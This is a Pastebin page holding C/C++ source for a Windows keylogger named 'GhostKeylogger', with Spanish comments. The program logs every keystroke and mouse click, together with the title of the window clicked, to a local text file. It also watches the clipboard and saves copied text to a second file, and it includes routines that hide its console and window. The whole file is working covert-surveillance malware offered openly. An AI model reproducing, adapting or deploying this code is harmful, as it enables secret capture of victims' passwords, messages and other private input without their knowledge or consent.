Advertisement
Citrusll

Untitled

Apr 9th, 2017
3,163
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <time.h>
  4. #define CLIP_TEXT CF_TEXT
  5. #define VK_4 0x34
  6.  
  7. void GhostKeylogger(FILE *txt);
  8. byte teclas[256];
  9. char teclasespeciales[32];
  10.  
  11. typedef struct
  12. {
  13.     int dia;
  14.     int mes;
  15.     int anio;
  16.     int segundo;
  17.     int minuto;
  18.     int hora;  
  19. }
  20. t_fecha;
  21.  
  22. LRESULT CALLBACK WindowProcedure(HWND, UINT, WPARAM, LPARAM);
  23. char szClassName[] = "ClipBoard Monitor by Wap2k";
  24. int Err();
  25. int SaveClipText();
  26.  
  27. int WINAPI WinMain(HINSTANCE hThisInstance,HINSTANCE hPrevInstance,LPSTR lpszArgument,int nFunsterStil){
  28.    
  29.     SetConsoleTitle("");
  30.  
  31.     FILE *txt = fopen("Datos.txt", "a+");
  32.    
  33.     if(txt != NULL)
  34.     {
  35.        
  36.                 time_t tiempo;      //Declaración para la fecha
  37.     time(&tiempo);
  38.  
  39.     struct tm* tm = localtime(&tiempo);
  40.     t_fecha f;
  41.  
  42.     f.dia = tm->tm_mday;
  43.     f.mes = tm->tm_mon + 1;
  44.     f.anio = tm->tm_year + 1900;
  45.     f.hora = tm->tm_hour;
  46.     f.minuto = tm->tm_min;
  47.     f.segundo = tm->tm_sec;
  48.  
  49.     if (txt != NULL)
  50.     {
  51.         FILE *txt = fopen("Datos.txt", "a+");
  52.        
  53.         fprintf(txt, "Fecha: %d/%d/%d Hora:%d:%d:%d", f.dia, f.mes, f.anio, f.hora, f.minuto, f.segundo);
  54.        
  55.         fclose(txt);
  56.     }
  57.        
  58.         //fprintf(txt, "Fecha: %d/%d/%d Hora:%d:%d:%d", f.dia, f.mes, f.anio, f.hora, f.minuto, f.segundo);
  59.        
  60.         while(TRUE)
  61.         {
  62.             GhostKeylogger(txt);
  63.             Sleep(5);
  64.            
  65.         }
  66.         fclose(txt);
  67.     }
  68.    
  69.     HWND hwnd;
  70.     MSG messages;
  71.     WNDCLASSEX wincl;
  72.  
  73.     /* The Window structure */
  74.     wincl.hInstance = hThisInstance;
  75.     wincl.lpszClassName = szClassName;
  76.     wincl.lpfnWndProc = WindowProcedure;      /* This function is called by windows */
  77.     wincl.style = CS_DBLCLKS;                 /* Catch double-clicks */
  78.     wincl.cbSize = sizeof (WNDCLASSEX);
  79.  
  80.     /* Use default icon and mouse-pointer */
  81.     wincl.hIcon = LoadIcon(NULL, IDI_APPLICATION);
  82.     wincl.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
  83.     wincl.hCursor = LoadCursor(NULL, IDC_ARROW);
  84.     wincl.lpszMenuName = NULL;                 /* No menu */
  85.     wincl.cbClsExtra = 0;                      /* No extra bytes after the window class */
  86.     wincl.cbWndExtra = 0;                      /* structure or the window instance */
  87.     /* Use Windows's default color as the background of the window */
  88.     wincl.hbrBackground = (HBRUSH)COLOR_BACKGROUND;
  89.  
  90.     if (!RegisterClassEx(&wincl)) return 0;
  91.  
  92.     if (!RegisterHotKey(NULL,1,0x4001,0x42))  //0x42 is 'b'
  93.         MessageBox(NULL, "Error Registering Hotkey", "Error", MB_OK);
  94.  
  95.  
  96.     hwnd = CreateWindowEx(
  97.         0,                  
  98.         szClassName,        
  99.         "aaa",      
  100.         WS_OVERLAPPEDWINDOW,
  101.         CW_USEDEFAULT,      
  102.         CW_USEDEFAULT,      
  103.         544,                
  104.         375,                
  105.         HWND_DESKTOP,      
  106.         0,
  107.         hThisInstance,
  108.         0
  109.         );
  110.  
  111.     ShowWindow(hwnd, 0);
  112.  
  113.     while (GetMessage(&messages, NULL, 0, 0)){
  114.  
  115.         if (messages.message == WM_HOTKEY)
  116.         {
  117.             MessageBox(NULL, "App Closed", "Hotkey Detected", MB_OK);
  118.             PostQuitMessage(0);
  119.         }
  120.      
  121.  
  122.         TranslateMessage(&messages);
  123.         DispatchMessage(&messages);
  124.     }
  125.  
  126.     return messages.wParam;
  127. }
  128.  
  129.  
  130. LRESULT CALLBACK WindowProcedure(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam){
  131.  
  132.     HWND hwndNextViewer = NULL;
  133.     HDC hdc;
  134.     PAINTSTRUCT ps;
  135.  
  136.     switch (message){
  137.     case WM_CREATE:
  138.         hwndNextViewer = SetClipboardViewer(hWnd);
  139.         break;
  140.     case WM_CHANGECBCHAIN:
  141.     if ((HWND)wParam == hwndNextViewer)
  142.         hwndNextViewer = (HWND)lParam;
  143.     else if (hwndNextViewer)
  144.         SendMessage(hwndNextViewer, message, wParam, lParam);
  145.     break;
  146.     case WM_DRAWCLIPBOARD:
  147.         if (hwndNextViewer)
  148.             SendMessage(hwndNextViewer, message, wParam, lParam);
  149.         SaveClipText();
  150.         InvalidateRect(hWnd, NULL, TRUE);
  151.         break;
  152.     case WM_PAINT:
  153.         hdc = BeginPaint(hWnd, &ps);
  154.         EndPaint(hWnd, &ps);
  155.         break;
  156.     case WM_DESTROY:
  157.         PostQuitMessage(0);    
  158.         break;
  159.     default:
  160.         return DefWindowProc(hWnd, message, wParam, lParam);
  161.     }
  162.  
  163.     return 0;
  164. }
  165.  
  166. int Err(){
  167.     DWORD LastErrorCode = GetLastError();
  168.     LPVOID lpMsgBuf;
  169.     FormatMessage(0x13FF, 0, LastErrorCode, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR)&lpMsgBuf, 0, NULL);
  170.     printf("Error Code - %ld: %S\n", LastErrorCode, lpMsgBuf);
  171.     LocalFree(lpMsgBuf);
  172.    
  173. }
  174.  
  175. int SaveClipText(){
  176.     char *szText;
  177.     HANDLE hClipMem;
  178.     LPVOID lpClipMem;
  179.     if (!OpenClipboard(0)) return Err();
  180.     if ((hClipMem = GetClipboardData(CF_TEXT)) == NULL){
  181.         CloseClipboard();
  182.         return Err();
  183.     }
  184.     if ((lpClipMem = GlobalLock(hClipMem)) == NULL) {
  185.         CloseClipboard();
  186.         return Err();
  187.     }
  188.     if (!(szText = (char *)malloc(GlobalSize(hClipMem) + 1))) {
  189.         CloseClipboard();
  190.         return Err();
  191.     }
  192.  
  193.     lstrcpyA(szText, (char*)lpClipMem);
  194.  
  195.     FILE *fout = fopen("log.txt", "a");
  196.  
  197.     if (fout){
  198.         fputs((char*)szText, fout);
  199.         fputs("\r\n ----- \r\n", fout);
  200.         printf("[:)] Well-done !");
  201.         fclose(fout);  
  202.     }
  203.     else
  204.         return Err();
  205.  
  206.     if (!GlobalUnlock(hClipMem)) Err();
  207.     if (!CloseClipboard()) Err();
  208.     return TRUE;
  209. }
  210.  
  211. void HideConsole()
  212. {
  213.      HWND hCons = FindWindowA("ConsoleWindowClass",NULL);
  214.      ShowWindow(hCons,SW_HIDE);
  215. }
  216.  
  217. void stealth()
  218. {
  219.      HWND asc;
  220.      asc = FindWindow("ConsoleWindowClass",NULL);
  221.      AllocConsole();
  222.      ShowWindow(asc,0);
  223. }
  224.  
  225. //int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
  226. //int main()
  227. //int WINAPI WinMain (HINSTANCE hThisInstance,HINSTANCE hPrevInstance,LPSTR lpszArgument,int nFunsterStil)
  228.  
  229. //int WINAPI WinMain(HINSTANCE hThisInstance, HINSTANCE PrevInstance, LPSTR lpszArgument, int nFunsterStil)
  230.  
  231.  
  232.  
  233.  
  234. //int main(/*int argc, char **argv*/)
  235. /*{
  236.    
  237.     //HWND hConsole = FindWindow("ConsoleWindowClass", NULL);
  238.     //if(hConsole){
  239.     //ShowWindow(hConsole, 0);}
  240.    
  241.     //HWND wnd = GetForegroundWindow();
  242.     //ShowWindow(wnd,SW_HIDE);  
  243.     //ShowWindow(GetForegroundWindow(),SW_HIDE);
  244.     //FreeConsole();
  245.     //HideConsole();
  246.     //stealth();
  247.    
  248.     time_t tiempo;      //Declaración para la fecha
  249.     time(&tiempo);     
  250.  
  251.     struct tm* tm = localtime(&tiempo);
  252.     t_fecha f;
  253.  
  254.     f.dia = tm->tm_mday;
  255.     f.mes = tm->tm_mon + 1;
  256.     f.anio = tm->tm_year + 1900;  
  257.     f.hora = tm->tm_hour;
  258.     f.minuto = tm->tm_min;
  259.     f.segundo = tm->tm_sec;  
  260.  
  261.     FILE *txt = fopen("Datos.txt", "a+");
  262.    
  263.     if(txt != NULL)
  264.     {
  265.         fprintf(txt, "Fecha: %d/%d/%d Hora:%d:%d:%d", f.dia, f.mes, f.anio, f.hora, f.minuto, f.segundo);
  266.        
  267.         while(TRUE)
  268.         {
  269.             GhostKeylogger(txt);
  270.             Sleep(5);
  271.         }
  272.         fclose(txt);
  273.     }
  274.         //HWND   consola;
  275.         //consola = FindWindowA("ConsoleWindowClass",NULL);
  276.         //ShowWindow(consola,SW_HIDE);  
  277.  
  278. }*/
  279.  
  280.  
  281. HWND DelMouse()
  282. {
  283.     POINT ps; GetCursorPos(&ps);
  284.     HWND Hwnd1 = WindowFromPoint(ps);
  285.     MapWindowPoints(NULL, Hwnd1, &ps, 1);
  286.     HWND Hwnd2 = ChildWindowFromPoint (Hwnd1,ps);
  287.     return (Hwnd2)?Hwnd2:Hwnd1;
  288. }
  289.  
  290. void GhostKeylogger(FILE *txt)
  291. {
  292.     for(int i=0; i<255; i++)
  293.     {
  294.         if((unsigned short)GetAsyncKeyState(i) == 0x8001) //0x8001 es 32769 en hex
  295.         {
  296.             if(i == VK_BACK)    {  fprintf(txt, "[BACKSPACE]");     break; }
  297.             if(i == VK_TAB)     {  fprintf(txt, "[TAB]");           break; }
  298.             if(i == VK_RETURN)  {  fprintf(txt, "[ENTER]\r\n");     break; }
  299.             if(i == VK_DELETE)  {  fprintf(txt, "[SUPR]");          break; }
  300.             if(i == VK_INSERT)  {  fprintf(txt, "[INSERT]");        break; }
  301.             if(i == VK_PRIOR)   {  fprintf(txt, "[PG UP]");         break; }
  302.             if(i == VK_NEXT)    {  fprintf(txt, "[PG DN]");         break; }
  303.             if(i == VK_HOME)    {  fprintf(txt, "[HOME]");          break; }
  304.             if(i == VK_END)     {  fprintf(txt, "[END]");           break; }
  305.             if(i == VK_UP)      {  fprintf(txt, "[ARRIBA]");        break; }
  306.             if(i == VK_DOWN)    {  fprintf(txt, "[ABAJO]");         break; }
  307.             if(i == VK_LEFT)    {  fprintf(txt, "[IZQUIERDA]");     break; }
  308.             if(i == VK_RIGHT)   {  fprintf(txt, "[DERECHA]");       break; }
  309.             if(i == VK_SNAPSHOT){  fprintf(txt, "[IMPRPANT]");      break; }
  310.            
  311.             if(i<VK_MBUTTON)
  312.             {
  313.                 HWND Hwnd = DelMouse();
  314.                 int Tam  = GetWindowTextLength(Hwnd)+1;
  315.                 LPSTR lpszWindowText = new CHAR[Tam];
  316.                 GetWindowText(Hwnd, lpszWindowText, Tam);
  317.                 if(i == VK_LBUTTON){ fprintf(txt, "[CLICKIZQ '%s']\n", lpszWindowText);    break; }
  318.                 if(i == VK_RBUTTON){ fprintf(txt, "[CLICDER '%s']\n",  lpszWindowText);    break; }
  319.                 if(i == VK_MBUTTON){ fprintf(txt, "[CLICMED '%s']\n",  lpszWindowText);    break; }
  320.                 delete lpszWindowText;
  321.             }
  322.  
  323.             /* L is for corpy - T is for paste*/
  324.    
  325.             GetKeyState(VK_CAPITAL);
  326.             GetKeyState(VK_SCROLL);
  327.             GetKeyState(VK_NUMLOCK);
  328.             GetKeyboardState(teclas);
  329.             *teclasespeciales = 0;
  330.             if(ToAscii(i, MapVirtualKey(i, 0), teclas, (LPWORD)teclasespeciales, 0) == 1)
  331.             fprintf(txt, "%c \n", *teclasespeciales);
  332.             else if(GetKeyNameText((MapVirtualKey(i, 0) << 16), teclasespeciales, 32) > 0)
  333.             fprintf(txt, "[%s]", teclasespeciales);
  334.            
  335.             /*while(GetAsyncKeyState(VK_CONTROL) == -32767){
  336.                     Sleep(200);
  337.                 switch(GetAsyncKeyState(VK_MENU) == -32767){
  338.                     case 1:
  339.                     Sleep(200);
  340.                 switch(GetAsyncKeyState(VK_4) == -32767){
  341.                     case 1:                              
  342.                     fprintf(txt,"~");
  343.                     break; }
  344.             }   */
  345.            
  346.         }
  347.     }
  348. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement